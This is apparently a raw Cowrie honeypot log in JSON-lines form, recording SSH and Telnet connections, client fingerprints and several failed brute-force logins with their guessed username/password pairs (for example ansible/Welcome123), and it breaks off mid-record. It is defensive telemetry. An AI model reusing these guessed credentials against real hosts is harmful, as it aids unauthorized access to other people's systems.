{"eventid":"cowrie.login.failed","username":"ansible","password":"Welcome123","message":"login attempt [ansible/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:43.410763Z","src_ip":"159.203.92.129","session":"52b964c480db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.114091634750366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:43.599918Z","src_ip":"209.126.87.217","session":"e25dd8371931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:44.417491Z","src_ip":"159.203.92.129","session":"52b964c480db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.47581696510315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:44.928501Z","src_ip":"209.126.87.217","session":"58e5bfb51d17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.372451066970825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:46.817220Z","src_ip":"209.126.87.217","session":"6597f9a5ed4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.191.80.177","src_port":7988,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aa182be7ec2","protocol":"telnet","message":"New connection: 180.191.80.177:7988 (159.203.135.109:23) [session: 4aa182be7ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:48.269913Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40290,"dst_ip":"10.17.0.5","dst_port":23,"session":"adfb0ec778bd","protocol":"telnet","message":"New connection: 139.162.207.207:40290 (10.17.0.5:23) [session: adfb0ec778bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:53.831228Z"}
{"eventid":"cowrie.session.closed","duration":31.534181118011475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:55.984203Z","src_ip":"209.126.87.217","session":"5249ab49cf5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40296,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f51fe725a85","protocol":"telnet","message":"New connection: 139.162.207.207:40296 (10.17.0.5:23) [session: 6f51fe725a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:56.256648Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51590,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b4e25971133","protocol":"telnet","message":"New connection: 209.126.87.217:51590 (159.203.135.109:23) [session: 5b4e25971133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:56.336465Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51600,"dst_ip":"159.203.135.109","dst_port":23,"session":"7722839857cb","protocol":"telnet","message":"New connection: 209.126.87.217:51600 (159.203.135.109:23) [session: 7722839857cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:58.868782Z"}
{"eventid":"cowrie.session.closed","duration":120.00089573860168,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:59.979705Z","src_ip":"42.114.201.41","session":"8f6b5cd0c116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.349796533584595,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:00.619575Z","src_ip":"180.191.80.177","session":"4aa182be7ec2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40298,"dst_ip":"10.17.0.5","dst_port":23,"session":"4311f3962f9e","protocol":"telnet","message":"New connection: 139.162.207.207:40298 (10.17.0.5:23) [session: 4311f3962f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:01.514913Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":61933,"dst_ip":"159.203.135.109","dst_port":23,"session":"5597b7b1b4d5","protocol":"telnet","message":"New connection: 42.114.201.41:61933 (159.203.135.109:23) [session: 5597b7b1b4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:03.895242Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48048,"dst_ip":"159.203.135.109","dst_port":22,"session":"9151ffcf8b40","protocol":"ssh","message":"New connection: 194.59.206.2:48048 (159.203.135.109:22) [session: 9151ffcf8b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:05.922280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:05.926524Z","src_ip":"194.59.206.2","session":"9151ffcf8b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:06.029046Z","src_ip":"194.59.206.2","session":"9151ffcf8b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51604,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc316e7f4c65","protocol":"telnet","message":"New connection: 209.126.87.217:51604 (159.203.135.109:23) [session: dc316e7f4c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:06.085091Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:06.122863Z","src_ip":"194.59.206.2","session":"9151ffcf8b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.320374965667725,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:06.306147Z","src_ip":"139.162.207.207","session":"18d31e7572aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":50833,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f317aa175b4","protocol":"telnet","message":"New connection: 42.114.201.41:50833 (159.203.135.109:23) [session: 6f317aa175b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:08.228459Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46004,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa6a44cfcce","protocol":"telnet","message":"New connection: 209.126.87.217:46004 (159.203.135.109:23) [session: 9fa6a44cfcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:11.625297Z"}
{"eventid":"cowrie.session.closed","duration":31.638161659240723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:12.320457Z","src_ip":"209.126.87.217","session":"166a2ac64e18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99284243583679,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:12.408838Z","src_ip":"139.162.207.207","session":"52c100010ab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207854986190796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:13.568030Z","src_ip":"209.126.87.217","session":"2acc2b95d449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46020,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f1608aceec6","protocol":"telnet","message":"New connection: 209.126.87.217:46020 (159.203.135.109:23) [session: 6f1608aceec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:17.523899Z"}
{"eventid":"cowrie.session.closed","duration":40.26171565055847,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:19.032102Z","src_ip":"185.26.126.47","session":"5318bfb7582b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44364,"dst_ip":"159.203.135.109","dst_port":23,"session":"82b6ec5ffc5a","protocol":"telnet","message":"New connection: 209.126.87.217:44364 (159.203.135.109:23) [session: 82b6ec5ffc5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:20.166424Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44368,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aaa2d63d692","protocol":"telnet","message":"New connection: 209.126.87.217:44368 (159.203.135.109:23) [session: 4aaa2d63d692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:20.224776Z"}
{"eventid":"cowrie.session.closed","duration":31.95084285736084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:25.781954Z","src_ip":"139.162.207.207","session":"adfb0ec778bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42308,"dst_ip":"159.203.135.109","dst_port":22,"session":"21e23c083505","protocol":"ssh","message":"New connection: 159.203.92.129:42308 (159.203.135.109:22) [session: 21e23c083505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:26.902295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:26.906518Z","src_ip":"159.203.92.129","session":"21e23c083505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:26.909996Z","src_ip":"159.203.92.129","session":"21e23c083505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Wo100%shipj","message":"login attempt [ansible/Wo100%shipj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:26.918275Z","src_ip":"159.203.92.129","session":"21e23c083505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:27.958351Z","src_ip":"159.203.92.129","session":"21e23c083505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":37964,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd58d81f484b","protocol":"telnet","message":"New connection: 139.162.207.207:37964 (10.17.0.5:23) [session: bd58d81f484b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:28.520313Z"}
{"eventid":"cowrie.session.closed","duration":32.32991671562195,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:28.666249Z","src_ip":"209.126.87.217","session":"5b4e25971133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55330,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb4d2e17d83e","protocol":"ssh","message":"New connection: 80.94.92.182:55330 (10.17.0.5:22) [session: eb4d2e17d83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:30.749630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:30.855081Z","src_ip":"80.94.92.182","session":"eb4d2e17d83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.097992181777954,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:30.966646Z","src_ip":"209.126.87.217","session":"7722839857cb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:30.970582Z","src_ip":"80.94.92.182","session":"eb4d2e17d83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:31.746237Z","src_ip":"80.94.92.182","session":"eb4d2e17d83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:32.855636Z","src_ip":"80.94.92.182","session":"eb4d2e17d83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.56970453262329,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:37.826220Z","src_ip":"139.162.207.207","session":"6f51fe725a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66657590866089,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:38.751541Z","src_ip":"209.126.87.217","session":"dc316e7f4c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.00487971305847,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:39.519642Z","src_ip":"139.162.207.207","session":"4311f3962f9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33844,"dst_ip":"159.203.135.109","dst_port":23,"session":"814dd96629e7","protocol":"telnet","message":"New connection: 209.126.87.217:33844 (159.203.135.109:23) [session: 814dd96629e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:41.852790Z"}
{"eventid":"cowrie.session.closed","duration":31.615702629089355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:43.240897Z","src_ip":"209.126.87.217","session":"9fa6a44cfcce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.168","src_port":56130,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ef2581c6791","protocol":"telnet","message":"New connection: 147.185.132.168:56130 (159.203.135.109:23) [session: 3ef2581c6791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:44.806292Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":56192,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15f54e70fef","protocol":"telnet","message":"New connection: 139.162.207.207:56192 (10.17.0.5:23) [session: a15f54e70fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:48.048986Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33852,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4c8a50ddba1","protocol":"telnet","message":"New connection: 209.126.87.217:33852 (159.203.135.109:23) [session: b4c8a50ddba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:48.763543Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":60970,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c6e195b70b8","protocol":"ssh","message":"New connection: 45.43.86.48:60970 (10.17.0.5:22) [session: 7c6e195b70b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:51.900857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:52.107343Z","src_ip":"45.43.86.48","session":"7c6e195b70b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:52.200211Z","src_ip":"45.43.86.48","session":"7c6e195b70b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":56894,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd2f02c9a85e","protocol":"ssh","message":"New connection: 37.143.61.130:56894 (159.203.135.109:22) [session: cd2f02c9a85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:53.182916Z"}
{"eventid":"cowrie.session.closed","duration":33.04218649864197,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:53.266875Z","src_ip":"209.126.87.217","session":"4aaa2d63d692","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:22:53.273289Z","src_ip":"37.143.61.130","session":"cd2f02c9a85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed